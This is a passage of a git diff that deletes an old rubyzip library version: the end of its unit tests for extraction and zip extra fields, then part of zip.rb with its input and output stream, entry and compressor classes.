zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < Test::Unit::TestCase - include CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def open_zip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc) - end - - def extract_test_dir(&aProc) - open_zip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_raise(ZipDestinationFileExistsError) { extract_test_dir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extract_test_dir { - |entry, destPath| - gotCalled = true - assert_equal(TEST_OUT_NAME, destPath) - assert(entry.is_directory) - true - } - assert(gotCalled) - assert(File.directory?(TEST_OUT_NAME)) - end -end - -class ZipExtraFieldTest < Test::Unit::TestCase - def test_new - extra_pure = ZipExtraField.new("") - extra_withstr = ZipExtraField.new("foo") - assert_instance_of(ZipExtraField, extra_pure) - assert_instance_of(ZipExtraField, extra_withstr) - end - - def test_unknownfield - extra = ZipExtraField.new("foo") - assert_equal(extra["Unknown"], "foo") - extra.merge("a") - assert_equal(extra["Unknown"], "fooa") - extra.merge("barbaz") - assert_equal(extra.to_s, "fooabarbaz") - end - - - def test_merge - str = "UT\x5\0\x3\250$\r@Ux\0\0" - extra1 = ZipExtraField.new("") - extra2 = ZipExtraField.new(str) - assert(! extra1.member?("UniversalTime")) - assert(extra2.member?("UniversalTime")) - extra1.merge(str) - assert_equal(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) - end - - def test_length - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - extra.merge("foo") - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - end - - - def test_to_s - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_instance_of(String, extra.to_s) - - s = extra.to_s - extra.merge("foo") - assert_equal(s.length + 3, extra.to_s.length) - end - - def test_equality - str = "UT\x5\0\x3\250$\r@" - extra1 = ZipExtraField.new(str) - extra2 = ZipExtraField.new(str) - extra3 = ZipExtraField.new(str) - assert_equal(extra1, extra2) - - extra2["UniversalTime"].mtime = Time.now - assert(extra1 != extra2) - - extra3.create("IUnix") - assert(extra1 != extra3) - - extra1.create("IUnix") - assert_equal(extra1, extra3) - end - -end - -# Copyright (C) 2002-2005 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zip.rb b/lib/zip/zip.rb deleted file mode 100644 index e5d150de96..0000000000 --- a/lib/zip/zip.rb +++ /dev/null @@ -1,1900 +0,0 @@ -# encoding: ASCII-8BIT -require 'delegate' - -begin - require 'iconv' -rescue ::LoadError -end - -require 'singleton' -require 'tempfile' -require 'fileutils' -require 'stringio' -require 'zlib' -require 'zip/stdrubyext' -require 'zip/ioextras' - -if Tempfile.superclass == SimpleDelegator - require 'zip/tempfile_bugfixed' - Tempfile = BugFix::Tempfile -end - -module Zlib #:nodoc:all - if ! const_defined? :MAX_WBITS - MAX_WBITS = Zlib::Deflate.MAX_WBITS - end -end - -module Zip - - VERSION = '0.9.4' - - RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i - - RUNNING_ON_WINDOWS = /mswin32|cygwin|mingw|bccwin/ =~ RUBY_PLATFORM - - # Ruby 1.7.x compatibility - # In ruby 1.6.x and 1.8.0 reading from an empty stream returns - # an empty string the first time and then nil. - # not so in 1.7.x - EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7 - - # ZipInputStream is the basic class for reading zip entries in a - # zip file. It is possible to create a ZipInputStream object directly, - # passing the zip file name to the constructor, but more often than not - # the ZipInputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipInputStream inherits IOExtras::AbstractInputStream in order - # to provide an IO-like interface for reading from a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method get_next_entry for iterating through the entries of - # an archive. get_next_entry returns a ZipEntry object that describes - # the zip entry the ZipInputStream is currently reading from. - # - # Example that creates a zip archive with ZipOutputStream and reads it - # back again with a ZipInputStream. - # - # require 'zip/zip' - # - # Zip::ZipOutputStream::open("my.zip") { - # |io| - # - # io.put_next_entry("first_entry.txt") - # io.write "Hello world!" - # - # io.put_next_entry("adir/first_entry.txt") - # io.write "Hello again!" - # } - # - # - # Zip::ZipInputStream::open("my.zip") { - # |io| - # - # while (entry = io.get_next_entry) - # puts "Contents of #{entry.name}: '#{io.read}'" - # end - # } - # - # java.util.zip.ZipInputStream is the original inspiration for this - # class. - - class ZipInputStream - include IOExtras::AbstractInputStream - - # Opens the indicated zip file. An exception is thrown - # if the specified offset in the specified filename is - # not a local zip entry header. - def initialize(filename, offset = 0) - super() - @archiveIO = File.open(filename, "rb") - @archiveIO.seek(offset, IO::SEEK_SET) - @decompressor = NullDecompressor.instance - @currentEntry = nil - end - - def close - @archiveIO.close - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipInputStream.open(filename) - return new(filename) unless block_given? - - zio = new(filename) - yield zio - ensure - zio.close if zio - end - - # Returns a ZipEntry object. It is necessary to call this - # method on a newly created ZipInputStream before reading from - # the first entry in the archive. Returns nil when there are - # no more entries. - - def get_next_entry - @archiveIO.seek(@currentEntry.next_header_offset, - IO::SEEK_SET) if @currentEntry - open_entry - end - - # Rewinds the stream to the beginning of the current entry - def rewind - return if @currentEntry.nil? - @lineno = 0 - @archiveIO.seek(@currentEntry.localHeaderOffset, - IO::SEEK_SET) - open_entry - end - - # Modeled after IO.sysread - def sysread(numberOfBytes = nil, buf = nil) - @decompressor.sysread(numberOfBytes, buf) - end - - def eof - @outputBuffer.empty? && @decompressor.eof - end - alias :eof? :eof - - protected - - def open_entry - @currentEntry = ZipEntry.read_local_entry(@archiveIO) - if (@currentEntry == nil) - @decompressor = NullDecompressor.instance - elsif @currentEntry.compression_method == ZipEntry::STORED - @decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size) - elsif @currentEntry.compression_method == ZipEntry::DEFLATED - @decompressor = Inflater.new(@archiveIO) - else - raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}" - end - flush - return @currentEntry - end - - def produce_input - @decompressor.produce_input - end - - def input_finished? - @decompressor.input_finished? - end - end - - - - class Decompressor #:nodoc:all - CHUNK_SIZE=32768 - def initialize(inputStream) - super() - @inputStream=inputStream - end - end - - class Inflater < Decompressor #:nodoc:all - def initialize(inputStream) - super - @zlibInflater = Zlib::Inflate.new(-Zlib::MAX_WBITS) - @outputBuffer="" - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - def sysread(numberOfBytes = nil, buf = nil) - readEverything = (numberOfBytes == nil) - while (readEverything || @outputBuffer.length < numberOfBytes) - break if internal_input_finished? - @outputBuffer << internal_produce_input(buf) - end - return value_when_finished if @outputBuffer.length==0 && input_finished? - endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes - return @outputBuffer.slice!(0...endIndex) - end - - def produce_input - if (@outputBuffer.empty?) - return internal_produce_input - else - return @outputBuffer.slice!(0...(@outputBuffer.length)) - end - end - - # to be used with produce_input, not read (as read may still have more data cached) - # is data cached anywhere other than @outputBuffer? the comment above may be wrong - def input_finished? - @outputBuffer.empty? && internal_input_finished? - end - alias :eof :input_finished? - alias :eof? :input_finished? - - private - - def internal_produce_input(buf = nil) - retried = 0 - begin - @zlibInflater.inflate(@inputStream.read(Decompressor::CHUNK_SIZE, buf)) - rescue Zlib::BufError - raise if (retried >= 5) # how many times should we retry? - retried += 1 - retry - end - end - - def internal_input_finished? - @zlibInflater.finished? - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def value_when_finished # mimic behaviour of ruby File object. - return nil if @hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" - end - end - - class PassThruDecompressor < Decompressor #:nodoc:all - def initialize(inputStream, charsToRead) - super inputStream - @charsToRead = charsToRead - @readSoFar = 0 - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def sysread(numberOfBytes = nil, buf = nil) - if input_finished? - hasReturnedEmptyStringVal=@hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" unless hasReturnedEmptyStringVal - return nil - end - - if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead) - numberOfBytes = @charsToRead-@readSoFar - end - @readSoFar += numberOfBytes - @inputStream.read(numberOfBytes, buf) - end - - def produce_input - sysread(Decompressor::CHUNK_SIZE) - end - - def input_finished? - (@readSoFar >= @charsToRead) - end - alias :eof :input_finished? - alias :eof? :input_finished? - end - - class NullDecompressor #:nodoc:all - include Singleton - def sysread(numberOfBytes = nil, buf = nil) - nil - end - - def produce_input - nil - end - - def input_finished? - true - end - - def eof - true - end - alias :eof? :eof - end - - class NullInputStream < NullDecompressor #:nodoc:all - include IOExtras::AbstractInputStream - end - - class ZipEntry - STORED = 0 - DEFLATED = 8 - - FSTYPE_FAT = 0 - FSTYPE_AMIGA = 1 - FSTYPE_VMS = 2 - FSTYPE_UNIX = 3 - FSTYPE_VM_CMS = 4 - FSTYPE_ATARI = 5 - FSTYPE_HPFS = 6 - FSTYPE_MAC = 7 - FSTYPE_Z_SYSTEM = 8 - FSTYPE_CPM = 9 - FSTYPE_TOPS20 = 10 - FSTYPE_NTFS = 11 - FSTYPE_QDOS = 12 - FSTYPE_ACORN = 13 - FSTYPE_VFAT = 14 - FSTYPE_MVS = 15 - FSTYPE_BEOS = 16 - FSTYPE_TANDEM = 17 - FSTYPE_THEOS = 18 - FSTYPE_MAC_OSX = 19 - FSTYPE_ATHEOS = 30 - - FSTYPES = { - FSTYPE_FAT => 'FAT'.freeze, - FSTYPE_AMIGA => 'Amiga'.freeze, - FSTYPE_VMS => 'VMS (Vax or Alpha AXP)'.freeze, - FSTYPE_UNIX => 'Unix'.freeze, - FSTYPE_VM_CMS => 'VM/CMS'.freeze, - FSTYPE_ATARI => 'Atari ST'.freeze, - FSTYPE_HPFS => 'OS/2 or NT HPFS'.freeze, - FSTYPE_MAC => 'Macintosh'.freeze, - FSTYPE_Z_SYSTEM => 'Z-System'.freeze, - FSTYPE_CPM => 'CP/M'.freeze, - FSTYPE_TOPS20 => 'TOPS-20'.freeze, - FSTYPE_NTFS => 'NTFS'.freeze, - FSTYPE_QDOS => 'SMS/QDOS'.freeze, - FSTYPE_ACORN => 'Acorn RISC OS'.freeze, - FSTYPE_VFAT => 'Win32 VFAT'.freeze, - FSTYPE_MVS => 'MVS'.freeze, - FSTYPE_BEOS => 'BeOS'.freeze, - FSTYPE_TANDEM => 'Tandem NSK'.freeze, - FSTYPE_THEOS => 'Theos'.freeze, - FSTYPE_MAC_OSX => 'Mac OS/X (Darwin)'.freeze, - FSTYPE_ATHEOS => 'AtheOS'.freeze, - }.freeze - - attr_accessor :comment, :compressed_size, :crc, :extra, :compression_method, - :name, :size, :localHeaderOffset, :zipfile, :fstype, :externalFileAttributes, :gp_flags, :header_signature - - attr_accessor :follow_symlinks - attr_accessor :restore_times, :restore_permissions, :restore_ownership - attr_accessor :unix_uid, :unix_gid, :unix_perms - - attr_reader :ftype, :filepath # :nodoc: - - # Returns the character encoding used for name and comment - def name_encoding - (@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//" - end - - - # Converts string encoding - def encode_string(str, src, dst) - if str.respond_to?(:encode) - str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' }) - else - begin - Iconv.conv(dst, src, str) - rescue - raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)" - end - end - end - - # Returns the name in the encoding specified by enc - def name_in(enc) - encode_string(@name, name_encoding, enc) - end - - # Returns the comment in the encoding specified by enc - def comment_in(enc) - encode_string(@comment, name_encoding, enc) - end - - def initialize(zipfile = "", name = "", comment = "", extra = "", - compressed_size = 0, crc = 0, - compression_method = ZipEntry::DEFLATED, size = 0, - time = Time.now) - super() - if name.starts_with("/") - raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" - end - @localHeaderOffset = 0 - @local_header_size = 0 - @internalFileAttributes = 1 - @externalFileAttributes = 0 - @version = 52 # this library's version - @ftype = nil # unspecified or unknown - @filepath = nil - if Zip::RUNNING_ON_WINDOWS - @fstype = FSTYPE_FAT - else - @fstype = FSTYPE_UNIX - end - @zipfile = zipfile - @comment = comment - @compressed_size = compressed_size - @crc = crc - @extra = extra - @compression_method = compression_method - @name = name - @size = size - @time = time - - @follow_symlinks = false - - @restore_times = true - @restore_permissions = false - @restore_ownership = false - -# BUG: need an extra field to support uid/gid's - @unix_uid = nil - @unix_gid = nil - @unix_perms = nil -# @posix_acl = nil -# @ntfs_acl = nil - - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - - unless ZipExtraField === @extra - @extra = ZipExtraField.new(@extra.to_s) - end - end - - def time - if @extra["UniversalTime"] - @extra["UniversalTime"].mtime - else - # Atandard time field in central directory has local time - # under archive creator. Then, we can't get timezone. - @time - end - end - alias :mtime :time - - def time=(aTime) - unless @extra.member?("UniversalTime") - @extra.create("UniversalTime") - end - @extra["UniversalTime"].mtime = aTime - @time = aTime - end - - # Returns +true+ if the entry is a directory. - def directory? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :directory - end - alias :is_directory :directory? - - # Returns +true+ if the entry is a file. - def file? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :file - end - - # Returns +true+ if the entry is a symlink. - def symlink? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :symlink - end - - def name_is_directory? #:nodoc:all - (%r{\/$} =~ @name) != nil - end - - def local_entry_offset #:nodoc:all - localHeaderOffset + @local_header_size - end - - def calculate_local_header_size #:nodoc:all - LOCAL_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + (@extra ? @extra.local_size : 0) - end - - def cdir_header_size #:nodoc:all - CDIR_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + - (@extra ? @extra.c_dir_size : 0) + (@comment ? @comment.size : 0) - end - - def next_header_offset #:nodoc:all - local_entry_offset + self.compressed_size - end - - # Extracts entry to file destPath (defaults to @name). - def extract(destPath = @name, &onExistsProc) - onExistsProc ||= proc { false } - - if directory? - create_directory(destPath, &onExistsProc) - elsif file? - write_file(destPath, &onExistsProc) - elsif symlink? - create_symlink(destPath, &onExistsProc) - else - raise RuntimeError, "unknown file type #{self.inspect}" - end - - self - end - - def to_s - @name - end - - protected - - def ZipEntry.read_zip_short(io) # :nodoc: - io.read(2).unpack('v')[0] - end - - def ZipEntry.read_zip_long(io) # :nodoc: - io.read(4).unpack('V')[0] - end - public - - LOCAL_ENTRY_SIGNATURE = 0x04034b50 - LOCAL_ENTRY_STATIC_HEADER_LENGTH = 30 - LOCAL_ENTRY_TRAILING_DESCRIPTOR_LENGTH = 4+4+4 - VERSION_NEEDED_TO_EXTRACT = 10 - - def read_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip entry local header" - end - - @header_signature , - @version , - @fstype , - @gp_flags , - @compression_method, - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') - - unless (@header_signature == LOCAL_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - - @name = io.read(nameLength) - extra = io.read(extraLength) - - if (extra && extra.length != extraLength) - raise ZipError, "Truncated local zip entry header" - else - if ZipExtraField === @extra - @extra.merge(extra) - else - @extra = ZipExtraField.new(extra) - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_local_entry(io) - entry = new(io.path) - entry.read_local_entry(io) - return entry - rescue ZipError - return nil - end - - def write_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - - io << - [LOCAL_ENTRY_SIGNATURE , - VERSION_NEEDED_TO_EXTRACT , # version needed to extract - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0, - @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') - io << @name - io << (@extra ? @extra.to_local_bin : "") - end - - CENTRAL_DIRECTORY_ENTRY_SIGNATURE = 0x02014b50 - CDIR_ENTRY_STATIC_HEADER_LENGTH = 46 - - def read_c_dir_entry(io) #:nodoc:all - staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" - end - - @header_signature , - @version , # version of encoding software - @fstype , # filesystem type - @versionNeededToExtract, - @gp_flags , - @compression_method , - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength , - commentLength , - diskNumberStart , - @internalFileAttributes, - @externalFileAttributes, - @localHeaderOffset , - @name , - @extra , - @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') - - unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - @name = io.read(nameLength) - if ZipExtraField === @extra - @extra.merge(io.read(extraLength)) - else - @extra = ZipExtraField.new(io.read(extraLength)) - end - @comment = io.read(commentLength) - unless (@comment && @comment.length == commentLength) - raise ZipError, "Truncated cdir zip entry header" - end - - case @fstype - when FSTYPE_UNIX - @unix_perms = (@externalFileAttributes >> 16) & 07777 - - case (@externalFileAttributes >> 28) - when 04 - @ftype = :directory - when 010 - @ftype = :file - when 012 - @ftype = :symlink - else - raise ZipInternalError, "unknown file type #{'0%o' % (@externalFileAttributes >> 28)}" - end - else - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_c_dir_entry(io) #:nodoc:all - entry = new(io.path) - entry.read_c_dir_entry(io) - return entry - rescue ZipError - return nil - end - - def file_stat(path) # :nodoc: - if @follow_symlinks - return File::stat(path) - else - return File::lstat(path) - end - end - - def get_extra_attributes_from_path(path) # :nodoc: - unless Zip::RUNNING_ON_WINDOWS - stat = file_stat(path) - @unix_uid = stat.uid - @unix_gid = stat.gid - @unix_perms = stat.mode & 07777 - end - end - - def set_extra_attributes_on_path(destPath) # :nodoc: - return unless (file? or directory?) - - case @fstype - when FSTYPE_UNIX - # BUG: does not update timestamps into account - # ignore setuid/setgid bits by default. honor if @restore_ownership - unix_perms_mask = 01777 - unix_perms_mask = 07777 if (@restore_ownership) - FileUtils::chmod(@unix_perms & unix_perms_mask, destPath) if (@restore_permissions && @unix_perms) - FileUtils::chown(@unix_uid, @unix_gid, destPath) if (@restore_ownership && @unix_uid && @unix_gid && Process::egid == 0) - # File::utimes() - end - end - - def write_c_dir_entry(io) #:nodoc:all - case @fstype - when FSTYPE_UNIX - ft = nil - case @ftype - when :file - ft = 010 - @unix_perms ||= 0644 - when :directory - ft = 004 - @unix_perms ||= 0755 - when :symlink - ft = 012 - @unix_perms ||= 0755 - else - raise ZipInternalError, "unknown file type #{self.inspect}" - end - - @externalFileAttributes = (ft << 12 | (@unix_perms & 07777)) << 16 - end - - io << - [CENTRAL_DIRECTORY_ENTRY_SIGNATURE, - @version , # version of encoding software - @fstype , # filesystem type - VERSION_NEEDED_TO_EXTRACT , # @versionNeededToExtract , - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0 , - @extra ? @extra.c_dir_length : 0 , - @comment ? comment.length : 0 , - 0 , # disk number start - @internalFileAttributes , # file type (binary=0, text=1) - @externalFileAttributes , # native filesystem attributes - @localHeaderOffset , - @name , - @extra , - @comment ].pack('VCCvvvvvVVVvvvvvVV') - - io << @name - io << (@extra ? @extra.to_c_dir_bin : "") - io << @comment - end - - def == (other) - return false unless other.class == self.class - # Compares contents of local entry and exposed fields - (@compression_method == other.compression_method && - @crc == other.crc && - @compressed_size == other.compressed_size && - @size == other.size && - @name == other.name && - @extra == other.extra && - @filepath == other.filepath && - self.time.dos_equals(other.time)) - end - - def <=> (other) - return to_s <=> other.to_s - end - - # Returns an IO like object for the given ZipEntry. - # Warning: may behave weird with symlinks. - def get_input_stream(&aProc) - if @ftype == :directory - return yield(NullInputStream.instance) if block_given? - return NullInputStream.instance - elsif @filepath - case @ftype - when :file - return File.open(@filepath, "rb", &aProc) - - when :symlink - linkpath = File::readlink(@filepath) - stringio = StringIO.new(linkpath) - return yield(stringio) if block_given? - return stringio - else - raise "unknown @ftype #{@ftype}" - end - else - zis = ZipInputStream.new(@zipfile, localHeaderOffset) - zis.get_next_entry - if block_given? - begin - return yield(zis) - ensure - zis.close - end - else - return zis - end - end - end - - def gather_fileinfo_from_srcpath(srcPath) # :nodoc: - stat = file_stat(srcPath) - case stat.ftype - when 'file' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :file - when 'directory' - if ! name_is_directory? - @name += "/" - end - @ftype = :directory - when 'link' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :symlink - else - raise RuntimeError, "unknown file type: #{srcPath.inspect} #{stat.inspect}" - end - - @filepath = srcPath - get_extra_attributes_from_path(@filepath) - end - - def write_to_zip_output_stream(aZipOutputStream) #:nodoc:all - if @ftype == :directory - aZipOutputStream.put_next_entry(self) - elsif @filepath - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - else - aZipOutputStream.copy_raw_entry(self) - end - end - - def parent_as_string - entry_name = name.chomp("/") - slash_index = entry_name.rindex("/") - slash_index ? entry_name.slice(0, slash_index+1) : nil - end - - def get_raw_input_stream(&aProc) - File.open(@zipfile, "rb", &aProc) - end - - private - - def set_time(binaryDosDate, binaryDosTime) - @time = Time.parse_binary_dos_format(binaryDosDate, binaryDosTime) - rescue ArgumentError - puts "Invalid date/time in zip entry" - end - - def write_file(destPath, continueOnExistsProc = proc { false }) - if File.exists?(destPath) && ! yield(self, destPath) - raise ZipDestinationFileExistsError, - "Destination '#{destPath}' already exists" - end - File.open(destPath, "wb") do |os| - get_input_stream do |is| - set_extra_attributes_on_path(destPath) - - buf = '' - while buf = is.sysread(Decompressor::CHUNK_SIZE, buf) - os << buf - end - end - end - end - - def create_directory(destPath) - if File.directory? destPath - return - elsif File.exists? destPath - if block_given? && yield(self, destPath) - FileUtils::rm_f destPath - else - raise ZipDestinationFileExistsError, - "Cannot create directory '#{destPath}'. "+ - "A file already exists with that name" - end - end - Dir.mkdir destPath - set_extra_attributes_on_path(destPath) - end - -# BUG: create_symlink() does not use &onExistsProc - def create_symlink(destPath) - stat = nil - begin - stat = File::lstat(destPath) - rescue Errno::ENOENT - end - - io = get_input_stream - linkto = io.read - - if stat - if stat.symlink? - if File::readlink(destPath) == linkto - return - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A symlink already exists with that name" - end - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A file already exists with that name" - end - end - - File::symlink(linkto, destPath) - end - end - - - # ZipOutputStream is the basic class for writing zip files. It is - # possible to create a ZipOutputStream object directly, passing - # the zip file name to the constructor, but more often than not - # the ZipOutputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipOutputStream inherits IOExtras::AbstractOutputStream in order - # to provide an IO-like interface for writing to a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method put_next_entry that closes the current entry - # and creates a new. - # - # Please refer to ZipInputStream for example code. - # - # java.util.zip.ZipOutputStream is the original inspiration for this - # class. - - class ZipOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :comment - - # Opens the indicated zip file. If a file with that name already - # exists it will be overwritten. - def initialize(fileName) - super() - @fileName = fileName - @outputStream = File.new(@fileName, "wb") - @entrySet = ZipEntrySet.new - @compressor = NullCompressor.instance - @closed = false - @currentEntry = nil - @comment = nil - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipOutputStream.open(fileName) - return new(fileName) unless block_given? - zos = new(fileName) - yield zos - ensure - zos.close if zos - end - - # Closes the stream and writes the central directory to the zip file - def close - return if @closed - finalize_current_entry - update_local_headers - write_central_directory - @outputStream.close - @closed = true - end - - # Closes the current entry and opens a new for writing. - # +entry+ can be a ZipEntry object or a string. - def put_next_entry(entryname, comment = nil, extra = nil, compression_method = ZipEntry::DEFLATED, level = Zlib::DEFAULT_COMPRESSION) - raise ZipError, "zip stream is closed" if @closed - new_entry = ZipEntry.new(@fileName, entryname.to_s) - new_entry.comment = comment if !comment.nil? - if (!extra.nil?) - new_entry.extra = ZipExtraField === extra ? extra : ZipExtraField.new(extra.to_s) - end - new_entry.compression_method = compression_method - init_next_entry(new_entry, level) - @currentEntry = new_entry - end - - def copy_raw_entry(entry) - entry = entry.dup - raise ZipError, "zip stream is closed" if @closed - raise ZipError, "entry is not a ZipEntry" if !entry.kind_of?(ZipEntry) - finalize_current_entry - @entrySet << entry - src_pos = entry.local_entry_offset - entry.write_local_entry(@outputStream) - @compressor = NullCompressor.instance - entry.get_raw_input_stream { - |is| - is.seek(src_pos, IO::SEEK_SET) - IOExtras.copy_stream_n(@outputStream, is, entry.compressed_size) - } - @compressor = NullCompressor.instance - @currentEntry = nil - end - - private - def finalize_current_entry - return unless @currentEntry - finish - @currentEntry.compressed_size = @outputStream.tell - @currentEntry.localHeaderOffset - - @currentEntry.calculate_local_header_size - @currentEntry.size = @compressor.size - @currentEntry.crc = @compressor.crc - @currentEntry = nil - @compressor = NullCompressor.instance - end - - def init_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) - finalize_current_entry - @entrySet << entry - entry.write_local_entry(@outputStream) - @compressor = get_compressor(entry, level) - end - - def get_compressor(entry, level) - case entry.compression_method - when ZipEntry::DEFLATED then Deflater.new(@outputStream, level) - when ZipEntry::STORED then PassThruCompressor.new(@outputStream) - else raise ZipCompressionMethodError, - "Invalid compression method: '#{entry.compression_method}'" - end - end - - def update_local_headers - pos = @outputStream.tell - @entrySet.each { - |entry| - @outputStream.pos = entry.localHeaderOffset - entry.write_local_entry(@outputStream) - } - @outputStream.pos = pos - end - - def write_central_directory - cdir = ZipCentralDirectory.new(@entrySet, @comment) - cdir.write_to_stream(@outputStream) - end - - protected - - def finish - @compressor.finish - end - - public - # Modeled after IO.<< - def << (data) - @compressor << data - end - end - - - class Compressor #:nodoc:all - def finish - end - end - - class PassThruCompressor < Compressor #:nodoc:all - def initialize(outputStream) - super() - @outputStream = outputStream - @crc = Zlib::crc32 - @size = 0 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << val - end - - attr_reader :size, :crc - end - - class NullCompressor < Compressor #:nodoc:all - include Singleton - - def << (data) - raise IOError, "closed stream" - end - - attr_reader :size, :compressed_size - end - - class Deflater < Compressor #:nodoc:all - def initialize(outputStream, level = Zlib::DEFAULT_COMPRESSION) - super() - @outputStream = outputStream - @zlibDeflater = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) - @size = 0 - @crc = Zlib::crc32 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << @zlibDeflater.deflate(data) - end - - def finish - until @zlibDeflater.finished? - @outputStream << @zlibDeflater.finish - end - end - - attr_reader :size, :crc - end - - - class ZipEntrySet #:nodoc:all - include Enumerable - - def initialize(anEnumerable = []) - super() - @entrySet = {} - anEnumerable.each { |o| push(o) } - end - - def include?(entry) - @entrySet.include?(entry.to_s) - end - - def <<(entry) - @entrySet[entry.to_s] = entry - end - alias :push :<< - - def size - @entrySet.size - end - alias :length :size - - def delete(entry) - @entrySet.delete(entry.to_s) ? entry : nil - end - - def each(&aProc) - @entrySet.values.each(&aProc) - end - - def entries - @entrySet.values - end - - # deep clone - def dup - newZipEntrySet = ZipEntrySet.new(@entrySet.values.map { |e| e.dup }) - end - - def == (other) - return false unless other.kind_of?(ZipEntrySet) - return @entrySet == other.entrySet - end - 